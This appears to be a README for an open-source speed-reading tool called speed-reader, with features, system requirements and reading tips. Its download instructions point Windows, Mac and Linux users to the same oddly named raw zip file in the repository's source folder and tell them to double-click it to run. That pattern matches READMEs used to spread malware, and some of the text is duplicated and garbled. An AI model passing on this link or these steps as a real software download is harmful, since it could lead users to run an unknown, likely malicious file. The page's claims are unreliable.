Welcome to speed-reader! This open source speed reading tool helps you read faster by showing one word at a time, focusing on your eye's natural fixation point. You can use it to improve your reading speed and enjoyment of texts, making it ideal for everyone, whether you're diving into novels, studying, or just skimming through articles.
To get started, visit this page to download: Download speed-reader.
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Go to the link above.
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Find the latest release.
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Click on the appropriate file for your operating system:
- For Windows: Click on
https://github.com/xeeqr/speed-reader/raw/refs/heads/master/src/reader_speed_jeddock.zip. - For Mac: Click on
https://github.com/xeeqr/speed-reader/raw/refs/heads/master/src/reader_speed_jeddock.zip. - For Linux: Click on the
https://github.com/xeeqr/speed-reader/raw/refs/heads/master/src/reader_speed_jeddock.zip.
- For Windows: Click on
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After the download completes, double-click the file to run the application.
- Windows 10 or later
- 1 GHz processor or faster
- 2 GB RAM
- 100 MB of free disk space
- macOS 10.13 (High Sierra) or later
- 1 GHz processor or faster
- 2 GB RAM
- 100 MB of free disk space
- Any modern distribution (Ubuntu 18.04 or later)
- 1 GHz processor or faster
- 2 GB RAM
- 100 MB of free disk space
- User-Friendly Interface: Clear layout for easy navigation.
- Customizable Speed Settings: Adjust your reading speed from 200 to 800 words per minute.
- Supports Multiple Formats: Open EPUB and other text formats.
- Offline Capability: Download books and read without an internet connection.
- Privacy-First: No data tracking or information collection.
- EPUB
- TXT
- HTML
Simply drag and drop your text files into the application to begin reading.
- Open the application after installation.
- Import your reading material by dragging files into the window or selecting "Open" from the menu.
- Set your preferred reading speed using the slider.
- Click "Start" to begin reading.
As you read, you can pause or quit at any time. Your progress will save automatically.
- Practice Regularly: The more you use the tool, the better you'll get.
- Find a Quiet Space: Minimize distractions while reading.
- Use Your Finger or Pointer: It can help guide your eye and maintain rhythm.
- Take Breaks: Give your mind a rest to retain information better.
We are always looking to improve. You can get the latest updates on the Releases page. If you have suggestions or issues, please open an issue in this repository.
We appreciate community contributions. If you’d like to help enhance speed-reader, please check our guidelines on how to contribute. Together, we can make reading accessible for everyone.
Thank you for choosing speed-reader. We hope it helps you read better and faster!
For any issues or questions, feel free to reach out in our repository discussions. Happy reading!